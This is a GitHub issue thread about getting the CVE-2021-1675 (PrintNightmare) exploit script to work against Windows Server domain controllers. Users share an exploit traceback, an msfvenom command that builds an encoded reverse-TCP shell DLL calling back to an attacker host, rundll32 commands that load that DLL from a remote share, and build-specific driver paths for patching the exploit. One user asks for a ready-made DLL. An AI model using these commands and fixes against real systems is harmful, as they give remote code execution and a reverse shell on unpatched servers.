Closed kevthehermit closed 3 years ago
hhhh
Same error on a Server 2019 Datacenter
same on win dc server 2012/server 2016
[*] Try 1...
[*] Connecting to ncacn_np:192.168.44.10[\PIPE\spoolss]
[+] Bind OK
[*] Uploading \\192.168.44.20\share\1.dll
Traceback (most recent call last):
File "CVE-2021-1675.py", line 117, in <module>
main(username, password, domain, lmhash, nthash, options.target_ip, options.port, options.share)
File "CVE-2021-1675.py", line 53, in main
resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags)
File "/Library/Python/2.7/site-packages/impacket-0.9.24.dev1+20210629.125315.f43cf082-py2.7.egg/impacket/dcerpc/v5/rprn.py", line 614, in hRpcAddPrinterDriverEx
return dce.request(request)
File "/Library/Python/2.7/site-packages/impacket-0.9.24.dev1+20210629.125315.f43cf082-py2.7.egg/impacket/dcerpc/v5/rpcrt.py", line 878, in request
raise exception
impacket.dcerpc.v5.rprn.DCERPCSessionError: RPRN SessionError: code: 0x3 - ERROR_PATH_NOT_FOUND - The system cannot find the path specified.
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=192.168.44.30 LPORT=8080 -b "\x00" -e x86/shikata_ga_nai -f dll -o /tmp/1.dll
// it is ok
copy \\192.168.44.20\share\1.dll .
rundll32 1.dll,Start
// it is ok
rundll32 \\192.168.44.20\share\1.dll,Start
The api could not find your dll or this file is missing https://github.com/cube0x0/CVE-2021-1675/blob/main/CVE-2021-1675.py#L43
Replace the line with one matching your OS build
Thanks For Reference here are the paths i had with the build numbers
OS Name: Microsoft Windows Server 2019 Datacenter
OS Version: 10.0.17763 N/A Build 17763
container_info['DriverInfo']['Level2']['pDriverPath'] = "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_19a3fe50fa9a21b6\\Amd64\\UNIDRV.DLL\x00"
OS Name: Microsoft Windows Server 2016 Datacenter
OS Version: 10.0.14393 N/A Build 14393
C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64
C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_e233a12d01c18082\Amd64
Thanks For Reference here are the paths i had with the build numbers
OS Name: Microsoft Windows Server 2019 Datacenter OS Version: 10.0.17763 N/A Build 17763 container_info['DriverInfo']['Level2']['pDriverPath'] = "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_19a3fe50fa9a21b6\\Amd64\\UNIDRV.DLL\x00"
OS Name: Microsoft Windows Server 2016 Datacenter OS Version: 10.0.14393 N/A Build 14393 C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64 C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_e233a12d01c18082\Amd64
Same issue, may I ask how you determine your build numbers and path of the driver? Further, can I have a copy of the DLL file for testing? I am freshman and don't know how to generate one. Thanks.
Thanks For Reference here are the paths i had with the build numbers
OS Name: Microsoft Windows Server 2019 Datacenter OS Version: 10.0.17763 N/A Build 17763 container_info['DriverInfo']['Level2']['pDriverPath'] = "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_19a3fe50fa9a21b6\\Amd64\\UNIDRV.DLL\x00"
OS Name: Microsoft Windows Server 2016 Datacenter OS Version: 10.0.14393 N/A Build 14393 C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64 C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_e233a12d01c18082\Amd64
Same issue, may I ask how you determine your build numbers and path of the driver? Further, can I have a copy of the DLL file for testing? I am freshman and don't know how to generate one. Thanks.
Did you find the answer?
Hitting this error,
Target Server 2016 Datacenter